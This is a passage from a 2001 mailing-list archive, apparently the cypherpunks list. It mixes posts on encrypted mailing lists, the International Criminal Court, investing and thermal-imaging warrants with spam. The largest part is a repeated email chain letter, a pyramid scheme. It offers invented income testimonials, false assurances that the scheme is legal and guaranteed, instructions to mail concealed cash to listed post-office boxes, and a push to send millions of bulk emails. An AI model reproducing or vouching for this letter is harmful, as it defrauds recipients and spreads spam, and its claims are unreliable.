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to that is 10,000 orders for Report # 4. Those 10,000 people send out 
5,000 e-mails each for a total of 50,000,000 (50 million) e-mails.  The 0.2%
response to that is 100,000 orders for Report # 5.

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million).

     Your total income in this example is:
            1..... $50        +
            2..... $500       +
            3..... $5,000       +
            4..... $50,000      +
            5..... $500,000  .........  Grand Total = $555,550.00

NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE 
OUT THE WORST POSSIBLE RESPONSES AND NO MATTER 
HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF 
MONEY!

-----------------------------------------------------------------------------

REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE 
ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for a 
moment what would happen if everyone, or half or even one 4th of those 
people mailed 100,000 e-mails each or more? There are over 150 million 
people on the Internet worldwide and counting.  Believe me, many 
people will do just that, and more!

METHOD # 2: BY PLACING FREE ADS ON THE INTERNET
=================================================
Advertising on the net is very inexpensive and there are hundreds of 
FREE places to advertise. Placing a lot of free ads on the Internet will 
easily get a larger response. We strongly suggest you start with Method # 
1 and add METHOD # 2 as you go along.

For every $5 you receive, all you must do is e-mail them the Report they 
ordered. That's it. Always provide same day service on all orders. This 
will guarantee that the e-mail they send out, with your name and address 
on it, will be prompt because they can not advertise until they receive the 
report.

_______________ AVAILABLE REPORTS_____________________

ORDER EACH REPORT BY ITS NUMBER & NAME ONLY.

Notes: Always send $5 cash (U.S. CURRENCY) for each Report.
  Checks NOT accepted. Make sure the cash is concealed by wrapping it 
in at least 2 sheets of paper. On one of those sheets of paper, write the 
NUMBER & the NAME of the Report you are ordering, YOUR 
E-MAIL ADDRESS and your name and postal address.

PLACE YOUR ORDER FOR THESE REPORTS NOW:
=============================================
REPORT #1 " The Insider's Guide to Advertising for Free on the
Internet."
Order report #1 from:

MDC
P.O. Box 1639
Grand Central Station
New York, NY 10163
U.S.A.
-------------------------------------------------------------
REPORT #2 "The Insider's Guide to Sending Bulk E-Mail on the Internet".
Order report #2 from

J & B Enterprises
P.O. Box 932 
Pleasant Grove, UT 84062
U.S.A.
-------------------------------------------------------------
REPORT #3 "The Secret to Multilevel Marketing on the Internet".
Order report #3 from

Ellis & Ellis
P.O. Box 1463
Gilbert, AZ  85299-1463
U.S.A.
--------------------------------------------------------------
REPORT #4 " How to Become a Millionare Utilizing MLM and the Internet".
Order report #4 from

D & P Systems
P.O. Box 3566
Peachtree City, GA  30269
U.S.A.
--------------------------------------------------------------
REPORT #5 " How to Send 1 Million E-Mails for Free".
Order report #5 from

Arnold Larsen
P.O. Box 17622
Sarasota, FL 34276
U.S.A.
_________________________________________________
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$

Follow these guidelines to guarantee your success:

If you do not receive at least 10 orders for Report #1 within 2 weeks,
continue sending e-mails until you do.

After you have received 10 orders, 2 to 3 weeks after that you should 
receive 100 orders or more for REPORT # 2.  If you did not, continue 
advertising or sending e-mails until you do.

Once you have received 100 or more orders for Report # 2, YOU CAN 
RELAX, because the system is already working for you , and the cash 
will continue to roll in!

THIS IS IMPORTANT TO REMEMBER:  Every time your name is 
moved down on the list, you are placed in front of a different report.  
You can KEEP TRACK of your PROGRESS by watching which report 
people are ordering from you. IF YOU WANT TO GENERATE MORE 
INCOME SEND ANOTHER BATCH OF E-MAILS AND START 
THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income 
you can generate from this business!!!
____________________________________________________

FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS 
PROGRAM:

"You have just received information that can give you financial freedom 
for the rest of your life, with NO RISK and JUST A LITTLE BIT OF 
EFFORT. You can make more money in the next few weeks and months 
than you have ever imagined.

Follow the program EXACTLY AS INSTRUCTED. Do Not change it in 
any way. It works exceedingly well as it is now. Remember to e-mail a 
copy of this exciting report after you have put your name and address in 
Report #1 and moved others to #2...........# 5 as instructed above. One of 
the people you send this to may send out 100,000 or more e-mails and 
your name will be on everyone of them. Remember though, the more you 
send out the more potential customers you will reach.

So my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent. IT IS UP TO YOU 
NOW!

************** MORE TESTIMONIALS  ****************

'' My name is Mitchell. My wife, Jody and I live in Chicago.  I am an 
accountant with a major U.S. Corporation and I make pretty good 
money. When I received this program I grumbled to Jody about receiving 
''junk mail''. I made fun of the whole thing, spouting my knowledge of 
the population and percentages involved. I ''knew'' it wouldn't work. Jody 
totally ignored my supposed intelligence and few days later she jumped in 
with both feet. I made merciless fun of her, and was ready to lay the old 
''I told you so'' on her when the thing didn't work.  Well, the laugh was on 
me! Within 3 weeks she had received 50 responses. Within the next 45 
days she had received a total of $ 147,200.00   all cash!  I was shocked. I 
have joined Jody in her ''hobby''.
                                                 Mitchell Wolf, M.D.,
                                                 Chicago, Illinois

-------------------------------------------------------------------------

''Not being the gambling type, it took me several weeks to make up my 
mind to participate in this plan. But conservative that I am, I decided that 
the initial investment was so little that there was just no way that I 
wouldn't get enough orders to at least get my money back.

I was surprised when I found my medium size post office box crammed 
with orders. I made $319,210.00 in the first 12 weeks.  The nice thing 
about this deal is that it does not matter where people live. There simply 
isn't a better investment with a faster return and so big''.
                                               Dan Sondstrom, Alberta,
                                                            Canada

------------------------------------------------------------------------

''I had received this program before. I deleted it, but later I wondered if
I should have given it a try. Of course, I had no idea who to contact to 
get another copy, so I had to wait until I was e-mailed again by someone 
else.........11 months passed then it luckily came again... I did not delete 
this one! I made more than  $490,000 on my first try and all the money 
came within 22 weeks''.
                                   Susan De Suza,
                                    New York, N.Y.

-------------------------------------------------------------------------

''It really is a great opportunity to make relatively easy money with little 
cost to you. I followed the simple instructions carefully and within 10 
days the money started to come in.  My first month I made $ 20, 560.00 
and by the end of third month my total cash count was $362,840.00. Life 
is beautiful, Thanks to Internet''.
                                               Fred Dellaca, Westport,
                                                          New Zealand

-------------------------------------------------------------------------

ORDER YOUR REPORTS TODAY AND GET STARTED ON YOUR 
ROAD TO FINANCIAL FREEDOM!

===================================================

You are receiving this E-mail because you posted to an FFA link
site and agreed to receiving this message.
If you have any questions of the legality of this program, contact the
Office of Associate Director for Marketing Practices, Federal Trade 
Commission, Bureau of Consumer Protection, Washington, D.C.

/////////////////////////////////////////////////////////////////////////////
ONE TIME MAILING, NO NEED TO REMOVE
////////////////////////////////////////////////////////////////////////////////

This message is sent in compliance of the proposed bill SECTION 301, per
Section 301,Paragraph (a)(2)(C) of S. 1618. Further transmission to you by
the sender of this e-mail may be stopped at no cost to you by sending a reply
to:  mdc128 at mail.com  with the word Remove in the subject line.
This message is not intended for residents in the State of Washington,
screening of addresses has been done to the best of our technical ability.

                 --------  T  H  E        E  N  D  ---------





From tom at ricardo.de  Mon Feb 19 06:14:56 2001
From: tom at ricardo.de (Tom)
Date: Mon, 19 Feb 2001 15:14:56 +0100
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
References: <3337136558.982589680@[10.0.0.5]>
Message-ID: <3A912A60.6A56E77F@ricardo.de>


Rachel Willmer wrote:
> 
> How can I set up a mailing list or online forum with encrypted traffic?

I don' think there's an out-of-the-box solution for this one so far. if
there is, I'd be very interested in it myself.

one low-tech solution would be using SSL. set up a dedicated machine
that talks on smtps, but not on the normal smtp (which makes sure your
inbound traffic is encrypted). the listmails are send EXCLUSIVELY to
local users, who can read them via an IMAP server which also doesn't
allow unencrypted access.

of course, that may not be feasable if you're talking about an open
forum, where readers come and go all the time, but you sounded like you
had a more closed target audience.




From info at giganetstore.com  Mon Feb 19 07:20:58 2001
From: info at giganetstore.com (info at giganetstore.com)
Date: Mon, 19 Feb 2001 15:20:58 -0000
Subject: =?iso-8859-1?Q?Entre_j=E1_na_Primavera_/_Ver=E3o_2001?=
Message-ID: <097b25820151321WWWSHOPENS@wwwshopens.giganetstore.com>

Pensava que o bom tempo já tinha chegado ? Infelizmente enganou-se pois
a temperatura em Portugal Continental voltou a descer.

Mas para si que é um amante do bom tempo temos a solução. Entre já na
Primavera ou se quiser, mesmo no Verão com a Giganetstore.com
<http://www.giganetstore.com/> , que esta semana lhe apresenta a Nova
Colecção Swatch Primavera / Verão 2001.
<http://www.giganetstore.com/index_promocao.asp>  
Não hesite e leve o bom tempo para casa com um Swatch.
<http://www.giganetstore.com/dynamic/mail/swatch.htm> 
Se pretender visualizar esta informação numa página do seu browser em
formato HTML, basta clicar aqui.
<http://www.giganetstore.com/dynamic/mail/swatch.htm>  
 
Para retirar o seu email desta mailing list deverá entrar no nosso site
http:\\www.giganetstore.com <http://www.giganetstore.com/> , ir à edição
do seu registo e retirar a opção de receber informação acerca das nossas
promoções e novos serviços. 
-------------- next part --------------
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From aimee.farr at pobox.com  Mon Feb 19 13:28:51 2001
From: aimee.farr at pobox.com (Aimee Farr)
Date: Mon, 19 Feb 2001 15:28:51 -0600
Subject: Sovereignty v. global justice [was... Mohammed gets Miranda]
In-Reply-To: <BNEBJALEDJIGAAEGHIGJEEDHCBAA.pzakas@toucancapital.com>
Message-ID: <NEBBJHBKILFDJEFIABHPEEBCCDAA.aimee.farr@pobox.com>


[I refrained from posting yab, but Declan's latest Politech "FC: U.N. hopes
to shut down accused Rwandan journalist's web site" gigged me.]

Phillip H Zakas said:

> hmm.  does this mean le/intelligence agencies will soon need to have a
> warrant to perform wiretaps on overseas communications?  And if
> no warrant,
> can collected evidence eventually be disallowed if foreign suspects are
> brought to us courts?  slippery slope.

Or, no slope ... according to some people's opinions of the International
Criminal Court. Many say we will be yielding our sovereignty, our
Constitution, and our procedural protections to this Court. (ICC advocates,
on the other hand, are quick to point out concord between the ICC and the US
Constitution: http://www.wfa.org/issues/icc/usconst.html .)

The ICC is an international court, judging _individuals_, not nation-states,
in regard to:
"the crime of genocide; crimes against humanity; war crimes; and the crime
of aggression." Many have expressed concern over subsequent extensions of
the Court's subject matter jurisdiction.  One commentator stated that even
if a nation is not a party to the Rome Statute, the ICC can still
investigate a crime within that nation according to ICC rules. [I haven't
read all the documentation, and I'm not about to, so I can't say about such
nuances....]

Yet another ill wind for criminal nation-states, sheltering sovereigns, and
putative techrepublics.

	A:mee










From lvild at usa.net  Mon Feb 19 16:12:01 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 19 Feb 2001 16:12:01 PST
Subject: [Sovereignty v. global justice [was... Mohammed gets Miranda]]
Message-ID: <20010220001201.664.qmail@nwcst317.netaddress.usa.net>


Before you can judge an act to be a crime against humanity.
I'd like to know what acts can be identified as crime,
where is humanity and how are both these ideas brought together.

This is not to question the merit of such an enterprise but to
question the means of it's corruption.


"Aimee Farr" <aimee.farr at pobox.com> wrote:
> 
> [I refrained from posting yab, but Declan's latest Politech "FC: U.N. hopes
> to shut down accused Rwandan journalist's web site" gigged me.]
> 
> Phillip H Zakas said:
> 
> > hmm.  does this mean le/intelligence agencies will soon need to have a
> > warrant to perform wiretaps on overseas communications?  And if
> > no warrant,
> > can collected evidence eventually be disallowed if foreign suspects are
> > brought to us courts?  slippery slope.
> 
> Or, no slope ... according to some people's opinions of the International
> Criminal Court. Many say we will be yielding our sovereignty, our
> Constitution, and our procedural protections to this Court. (ICC advocates,
> on the other hand, are quick to point out concord between the ICC and the
US
> Constitution: http://www.wfa.org/issues/icc/usconst.html .)
> 
> The ICC is an international court, judging _individuals_, not
nation-states,
> in regard to:
> "the crime of genocide; crimes against humanity; war crimes; and the crime
> of aggression." Many have expressed concern over subsequent extensions of
> the Court's subject matter jurisdiction.  One commentator stated that even
> if a nation is not a party to the Rome Statute, the ICC can still
> investigate a crime within that nation according to ICC rules. [I haven't
> read all the documentation, and I'm not about to, so I can't say about such
> nuances....]
> 
> Yet another ill wind for criminal nation-states, sheltering sovereigns, and
> putative techrepublics.
> 
> 	A:mee
> 
> 
> 
> 
> 
> 


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From lvild at usa.net  Mon Feb 19 16:20:02 2001
From: lvild at usa.net (LUIS VILDOSOLA)
Date: 19 Feb 2001 16:20:02 PST
Subject: [Re: The CIA for Kids?]
Message-ID: <20010220002002.2589.qmail@nwcst340.netaddress.usa.net>


Encryption is used in economic policy,
without it a minority wouldn't be so lucky over the stock markets
and the majority wouldn't have consistent bad luck over it.

Forget General Dynamic, General Electric or NBC.
Put your attention on how interest rates fluctuation is argumented in favor
of, question it and you will have decyphered the mistery.


Ray Dillinger <bear at sonic.net> wrote:
> 
> 
> 
> On Mon, 19 Feb 2001, Matthew Gaylor wrote:
> 
> >The CIA for Kids?
> >
> >The Central Intelligence Agency now has a web site for children.  And 
> >I'm not kidding. http://www.cia.gov/cia/ciakids/index.html
> >
> <clip>
> >
> >And nary a ripple surfaced last year by the mainstream media when it 
> >was revealed that the US Army's Psychological Operations Units do 
> >Internships at CNN and other news outlets.
> 
> Have you noticed that General dynamics owns General Electric, who 
> in turn own NBC and RCA?  So how do we like getting large chunks of 
> our news broadcasts and pop music from one of the government's major 
> arms dealers?
> 
> 				Bear


____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1




From ezremovalproccess at yahoo.com  Mon Feb 19 16:52:53 2001
From: ezremovalproccess at yahoo.com (Steve)
Date: Mon, 19 Feb 2001 16:52:53
Subject: Who Wants To Be A $ Millionare
Message-ID: <200102192133.NAA12314@toad.com>

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From bear at sonic.net  Mon Feb 19 17:38:35 2001
From: bear at sonic.net (Ray Dillinger)
Date: Mon, 19 Feb 2001 17:38:35 -0800 (PST)
Subject: [Re: The CIA for Kids?]
In-Reply-To: <20010220002002.2589.qmail@nwcst340.netaddress.usa.net>
Message-ID: <Pine.LNX.4.21.0102191730180.5426-100000@bolt.sonic.net>


On 19 Feb 2001, LUIS VILDOSOLA wrote:

>Encryption is used in economic policy,
>without it a minority wouldn't be so lucky over the stock markets
>and the majority wouldn't have consistent bad luck over it.

I submit that the majority have consistent bad luck precisely 
because they are relying on luck instead of doing the basic 
value analysis to figure out what a company is actually worth.

I've been making consistent returns in the market.  I never needed 
to "decrypt" anything.  All that is required is the resolve to ignore 
fear and greed, do your own homework, and restrict your buying to 
companies you are confident that you will still want to own ten 
years from now.

A lot of people have been losing money in the market lately, but it 
is not because there was any conspiracy; it is because they were 
investing in companies with silly business plans and no revenues.
A few minutes doing basic homework could have saved them.

				Bear






From bear at sonic.net  Mon Feb 19 17:54:45 2001
From: bear at sonic.net (Ray Dillinger)
Date: Mon, 19 Feb 2001 17:54:45 -0800 (PST)
Subject: Is a Thermal Imaging search needful of a warrant?
In-Reply-To: <Pine.LNX.3.96.1010219182902.5925N-100000@einstein.ssz.com>
Message-ID: <Pine.LNX.4.21.0102191741450.5426-100000@bolt.sonic.net>




On Mon, 19 Feb 2001, Jim Choate wrote:

>
>Is a visible light search needful of a warrant? If so then why is the
>frequency of the radiation an issue?
>

The capacity of most humans to see in visible light wavelengths is 
well-documented, and this capacity forms part of our expectation of 
what is and is not private.  

People erect privacy fences *BECAUSE* those fences cannot be seen 
through in the visible-light spectrum.  In so doing, they express 
an intent for the stuff behind those fences to be private.  

*sigh.*  I suppose it would freak their cookies, and might even 
prompt a search-warrant, if someone installed steel plates in 
his walls so that the impulse-radar was baffled.  

				Bear




From djb at gci.net  Mon Feb 19 18:59:43 2001
From: djb at gci.net (Daniel J. Boone)
Date: Mon, 19 Feb 2001 17:59:43 -0900
Subject: Trolling for Conspirators 
References: <000801c09a3b$70f31260$5f001e0a@pavilion>
Message-ID: <00ec01c09ae9$2d449260$7660ed18@juneau.ak.net>


Oh goody goody goody!  It must be my turn to do one of these!

Some pissant lazy-assed cop masquerading as "kristy lenard" and/or "monroe"
wrote:

>is there any way to purchase a scanner that will pick up cell phones?
>if so, please tell me, i've searched everywhere!
>thanks, monroe.

For the benefit of the audience, most of whom rightly won't give a flying
fuck, let it be said that listening to a cell phone conversation on a
scanner is under many circumstances a federal crime.  The drooling
mouthbreathers who seem to be masquerading as federal prosecutors these days
are therefore likely to consider providing information on how to commit that
crime to be some form of indictable offense such as conspiracy,
racketeering, or buggery on the high seas.  Accordingly, no one with more
intelligence than your common variety garden slug is likely to be terribly
responsive to your public request in this forum.

Interestingly, a person who really had "searched everwhere" would have
turned up thousands of pertinent web pages.  They might even have discovered
that scanners manufactured prior to a certain year were specifically
designed to cover cell phone frequencies.  That vital information in hand,
what giant leap of mentation would be required to investigate the
availability of such used scanners on common internet auction sites?

But, of course, a lazy cop looking for conspirators or a lazy journalist
looking for a story would rather troll the list.  Piss off!

-- Daniel




From mdc128 at OWCC.yahoo.com  Mon Feb 19 18:03:54 2001
From: mdc128 at OWCC.yahoo.com (John)
Date: Mon, 19 Feb 2001 18:03:54 -0800 (PST)
Subject: Need extra money for the holidays? -YPUO
Message-ID: <200102200203.SAA17719@toad.com>


********************************************************
THIS LETTER CONSTITUTES NO GUARANTEES STATED OR 
IMPLIED.  IN THE EVENT THAT IT IS DETERMINED THAT THIS
LETTER CONSTITUTES A GUARANTEE OF ANY KIND, THAT 
GUARANTEE IS NOW VOID. ANY TESTIMONIALS OR
AMOUNTS OF EARNINGS LISTED IN THIS LETTER MAY BE 
FACTUAL OR FICTITIOUS. 
*********************************************************
Dear cypherpunks:

AS SEEN ON NATIONAL TV:

''Making over half million dollars every 4 to 5 months from your home 
for an investment of only $25 U.S. Dollars expense one time''

THANKS TO THE COMPUTER AGE AND THE INTERNET!
===============================================

BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!

Before you say ''bull'', please read the following. This is the letter you 
Have been hearing about on the news lately. Due to the popularity of this 
letter on the Internet, a national weekly news program recently devoted 
an entire show to the investigation of this program described below, to 
see if it really can make people money.

The show also investigated whether or not the program was legal. Their 
findings proved once and for all that there are absolutely NO laws 
prohibiting the participation in the program and if people can follow the 
simple instructions, they are bound to make some mega bucks with only 
$25 out of pocket cost''.

DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT 
THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING 
BETTER THAN EVER.

This is what one had to say:

''Thanks to this profitable opportunity. I was approached many times 
before but each time I passed on it. I am so glad I finally joined just to 
see what one could expect in return for the minimal effort and money 
required. To my astonishment, I received total $610,470.00 in 21 weeks, 
with money still coming in''.
                                        Pam Hedland, Fort Lee, New Jersey.

-------------------------------------------------------------------------

                             Here is another testimonial:

''This program has been around for a long time but I never believed in it. 
But one day when I received this again in the mail I decided to gamble 
my $25 on it. I followed the simple instructions and walaa..... 3 weeks 
later the money started to come in. First month I only made $240.00 but 
the next 2 months after that I made a total of $290,000.00.
So far, in the past 8 months by re-entering the program, I have made over 
$710,000.00 and I am playing it again.  The key to success in this 
program is to follow the simple steps and NOT change anything.''

                          More testimonials later but first,

*** PRINT THIS NOW FOR YOUR FUTURE REFERENCE ****

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5 months easily 
and comfortably, please read the following...THEN READ IT AGAIN 
and AGAIN!!!
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR 
FINANCIAL DREAMS WILL COME TRUE, GUARANTEED!

                                   INSTRUCTIONS:

**** Order all 5 reports shown on the list below.

**** For each report, send $5 CASH, THE NAME & NUMBER OF 
THE REPORT YOU ARE ORDERING and YOUR E-MAIL 
ADDRESS to the person whose name appears ON THAT LIST next to 
the report.
MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE 
TOP LEFT CORNER in case of any mail problems.

 **** When you place your order, make sure you order each of the 5 
reports.  You will need all 5 reports so that you can save them on your 
computer and resell them.  YOUR TOTAL COST $5 X 5 = $25.00.

 **** Within a few days you will receive, vie e-mail, each of the 5 
reports from these 5 different individuals. Save them on your computer 
to they will be accessible for you to send to the 1,000's of people who 
will order them from you. Also make a floppy of these reports and keep 
it on your desk in case something happens to your computer.

 **** IMPORTANT - DO NOT alter the names of the people who are 
listed next to each report, or their sequence on the list, in any way other 
than what is instructed below in step '' 1 through 6 '' or you will loose out 
on majority of your profits. Once you understand the way this works, you 
will also see how it does not work if you change it.

Remember, this method has been tested, and if you alter, it will NOT 
work!!! People have tried to put their friends/relatives names on all five 
thinking they could get all the money. But it does not work this way. 
Believe us, we all have tried to be greedy and then nothing happened.  So 
Do Not try to change anything other than what is instructed. Because if 
you do, it will not work for you.   Remember, honesty reaps the 
reward!!!

1.. After you have ordered  all 5 reports, take this advertisement and 
REMOVE the name & address of the person in REPORT # 5. This 
person has made it through the cycle and is no doubt counting their 
fortune.

2.... Move the name & address in REPORT #4 down TO REPORT #5.

3.... Move the name & address in REPORT #3 down TO REPORT #4.

4.... Move the name & address in REPORT #2 down TO REPORT #3.

5.... Move the name & address in REPORT #1 down TO REPORT #2

6.... Insert YOUR name & address in the REPORT #1 Position.

     PLEASE MAKE SURE you copy every name & address 
ACCURATELY!
===================================================

Take this entire letter, with the modified list of names, and save it on
your computer. DO NOT MAKE ANY OTHER CHANGES.  Save this 
on a disk as well just in case if you loose any data.

To assist you with marketing your business on the Internet, the 5 reports 
you purchase will provide you with invaluable marketing information 
which includes how to send bulk e-mails legally, where to find thousands 
of free classified ads and much more.

There are 2 Primary methods to get this venture going:

METHOD # 1: BY SENDING BULK E-MAIL LEGALLY
============================================
Let's say that you decide to start small, just to see how it goes, and we 
will assume You and those involved send out only 5,000 e-mails each. 
Let's also assume that the mailing receive only a 0.2% response (the 
response could be much better but lets just say it is only 0.2%. Also many 
people will send out hundreds of thousands e-mails instead of only 5,000 
each).

Continuing with this example, you send out only 5,000 e-mails.  With a 
0.2% response, that is only 10 orders for report # 1.  Those 10 people 
responded by sending out 5,000 e-mail each for a total of 50,000. Out of 
those 50,000 e-mails only 0.2% responded with orders. That's = 100 
people responded and ordered Report # 2. Those 100 people mail out 
5,000 e-mails each for a total of 500,000 e-mails. The 0.2% response to 
that is 1000 orders for Report # 3. Those 1000 people send out 5,000 
e-mails each for a total of 5 million e-mails sent out. The 0.2% response 
to that is 10,000 orders for Report # 4. Those 10,000 people send out 
5,000 e-mails each for a total of 50,000,000 (50 million) e-mails.  The 0.2%
response to that is 100,000 orders for Report # 5.

THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half 
million).

     Your total income in this example is:
            1..... $50        +
            2..... $500       +
            3..... $5,000       +
            4..... $50,000      +
            5..... $500,000  .........  Grand Total = $555,550.00

NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE 
OUT THE WORST POSSIBLE RESPONSES AND NO MATTER 
HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF 
MONEY!

-----------------------------------------------------------------------------

REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE 
ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for a 
moment what would happen if everyone, or half or even one 4th of those 
people mailed 100,000 e-mails each or more? There are over 150 million 
people on the Internet worldwide and counting.  Believe me, many 
people will do just that, and more!

METHOD # 2: BY PLACING FREE ADS ON THE INTERNET
=================================================
Advertising on the net is very inexpensive and there are hundreds of 
FREE places to advertise. Placing a lot of free ads on the Internet will 
easily get a larger response. We strongly suggest you start with Method # 
1 and add METHOD # 2 as you go along.

For every $5 you receive, all you must do is e-mail them the Report they 
ordered. That's it. Always provide same day service on all orders. This 
will guarantee that the e-mail they send out, with your name and address 
on it, will be prompt because they can not advertise until they receive the 
report.

_______________ AVAILABLE REPORTS_____________________

ORDER EACH REPORT BY ITS NUMBER & NAME ONLY.

Notes: Always send $5 cash (U.S. CURRENCY) for each Report.
  Checks NOT accepted. Make sure the cash is concealed by wrapping it 
in at least 2 sheets of paper. On one of those sheets of paper, write the 
NUMBER & the NAME of the Report you are ordering, YOUR 
E-MAIL ADDRESS and your name and postal address.

PLACE YOUR ORDER FOR THESE REPORTS NOW:
=============================================
REPORT #1 " The Insider's Guide to Advertising for Free on the
Internet."
Order report #1 from:

MDC
P.O. Box 1639
Grand Central Station
New York, NY 10163
U.S.A.
-------------------------------------------------------------
REPORT #2 "The Insider's Guide to Sending Bulk E-Mail on the Internet".
Order report #2 from

J & B Enterprises
P.O. Box 932 
Pleasant Grove, UT 84062
U.S.A.
-------------------------------------------------------------
REPORT #3 "The Secret to Multilevel Marketing on the Internet".
Order report #3 from

Ellis & Ellis
P.O. Box 1463
Gilbert, AZ  85299-1463
U.S.A.
--------------------------------------------------------------
REPORT #4 " How to Become a Millionare Utilizing MLM and the Internet".
Order report #4 from

D & P Systems
P.O. Box 3566
Peachtree City, GA  30269
U.S.A.
--------------------------------------------------------------
REPORT #5 " How to Send 1 Million E-Mails for Free".
Order report #5 from

Arnold Larsen
P.O. Box 17622
Sarasota, FL 34276
U.S.A.
_________________________________________________
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$

Follow these guidelines to guarantee your success:

If you do not receive at least 10 orders for Report #1 within 2 weeks,
continue sending e-mails until you do.

After you have received 10 orders, 2 to 3 weeks after that you should 
receive 100 orders or more for REPORT # 2.  If you did not, continue 
advertising or sending e-mails until you do.

Once you have received 100 or more orders for Report # 2, YOU CAN 
RELAX, because the system is already working for you , and the cash 
will continue to roll in!

THIS IS IMPORTANT TO REMEMBER:  Every time your name is 
moved down on the list, you are placed in front of a different report.  
You can KEEP TRACK of your PROGRESS by watching which report 
people are ordering from you. IF YOU WANT TO GENERATE MORE 
INCOME SEND ANOTHER BATCH OF E-MAILS AND START 
THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income 
you can generate from this business!!!
____________________________________________________

FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS 
PROGRAM:

"You have just received information that can give you financial freedom 
for the rest of your life, with NO RISK and JUST A LITTLE BIT OF 
EFFORT. You can make more money in the next few weeks and months 
than you have ever imagined.

Follow the program EXACTLY AS INSTRUCTED. Do Not change it in 
any way. It works exceedingly well as it is now. Remember to e-mail a 
copy of this exciting report after you have put your name and address in 
Report #1 and moved others to #2...........# 5 as instructed above. One of 
the people you send this to may send out 100,000 or more e-mails and 
your name will be on everyone of them. Remember though, the more you 
send out the more potential customers you will reach.

So my friend, I have given you the ideas, information, materials and 
opportunity to become financially independent. IT IS UP TO YOU 
NOW!

************** MORE TESTIMONIALS  ****************

'' My name is Mitchell. My wife, Jody and I live in Chicago.  I am an 
accountant with a major U.S. Corporation and I make pretty good 
money. When I received this program I grumbled to Jody about receiving 
''junk mail''. I made fun of the whole thing, spouting my knowledge of 
the population and percentages involved. I ''knew'' it wouldn't work. Jody 
totally ignored my supposed intelligence and few days later she jumped in 
with both feet. I made merciless fun of her, and was ready to lay the old 
''I told you so'' on her when the thing didn't work.  Well, the laugh was on 
me! Within 3 weeks she had received 50 responses. Within the next 45 
days she had received a total of $ 147,200.00   all cash!  I was shocked. I 
have joined Jody in her ''hobby''.
                                                 Mitchell Wolf, M.D.,
                                                 Chicago, Illinois

-------------------------------------------------------------------------

''Not being the gambling type, it took me several weeks to make up my 
mind to participate in this plan. But conservative that I am, I decided that 
the initial investment was so little that there was just no way that I 
wouldn't get enough orders to at least get my money back.

I was surprised when I found my medium size post office box crammed 
with orders. I made $319,210.00 in the first 12 weeks.  The nice thing 
about this deal is that it does not matter where people live. There simply 
isn't a better investment with a faster return and so big''.
                                               Dan Sondstrom, Alberta,
                                                            Canada

------------------------------------------------------------------------

''I had received this program before. I deleted it, but later I wondered if
I should have given it a try. Of course, I had no idea who to contact to 
get another copy, so I had to wait until I was e-mailed again by someone 
else.........11 months passed then it luckily came again... I did not delete 
this one! I made more than  $490,000 on my first try and all the money 
came within 22 weeks''.
                                   Susan De Suza,
                                    New York, N.Y.

-------------------------------------------------------------------------

''It really is a great opportunity to make relatively easy money with little 
cost to you. I followed the simple instructions carefully and within 10 
days the money started to come in.  My first month I made $ 20, 560.00 
and by the end of third month my total cash count was $362,840.00. Life 
is beautiful, Thanks to Internet''.
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                                                          New Zealand

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From ravage at ssz.com  Mon Feb 19 16:29:41 2001
From: ravage at ssz.com (Jim Choate)
Date: Mon, 19 Feb 2001 18:29:41 -0600 (CST)
Subject: Is a Thermal Imaging search needful of a warrant?
In-Reply-To: <200102200014.TAA08311@www6.aa.psiweb.com>
Message-ID: <Pine.LNX.3.96.1010219182902.5925N-100000@einstein.ssz.com>



Is a visible light search needful of a warrant? If so then why is the
frequency of the radiation an issue?

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------


On Mon, 19 Feb 2001 George at Orwellian.Org wrote:

> The U.S. Supreme Court will be deciding soon.
> 
> Previously:
> 
> ----
> 
> Is it okay for the government to look at your property while walking by and
> if the officer spots marijuana plants growing to get a search warrant?
> 
> Of course it is.
> 
> *   "The Right To Privacy", ISBN 0-679-74434-7, 1997
> *   By Attorneys Ellen Alderman and [The] Caroline Kennedy
> *
> *   ...then the Supreme Court ruled that if the yard was big enough that "An
> *   individual may not legitimately demand privacy for activities conducted
> *   out of doors in fields," the Court wrote, "except in the area immediately
> *   surrounding the home."
> *
> *   ...then the Supreme Court ruled that a barn sixty yards from a farmhouse
> *   was too far away from a house to expect privacy.
> *
> *   ...then the Supreme Court ruled that aerial surveillance did not constitute
> *   a Fourth Amendment search.
> *
> *   ...then the Supreme Court ruled that a "precision aerial mapping camera"
> *   that was able to capture objects as small as one-half inch in diameter did
> *   not constitute a Fourth Amendment search.
> 
> ...then courts ruled that infrared surveillance of homes was permissible.
> 
> What is this?
> 
> *   Subject:      Re: Law Enforcement Aviation
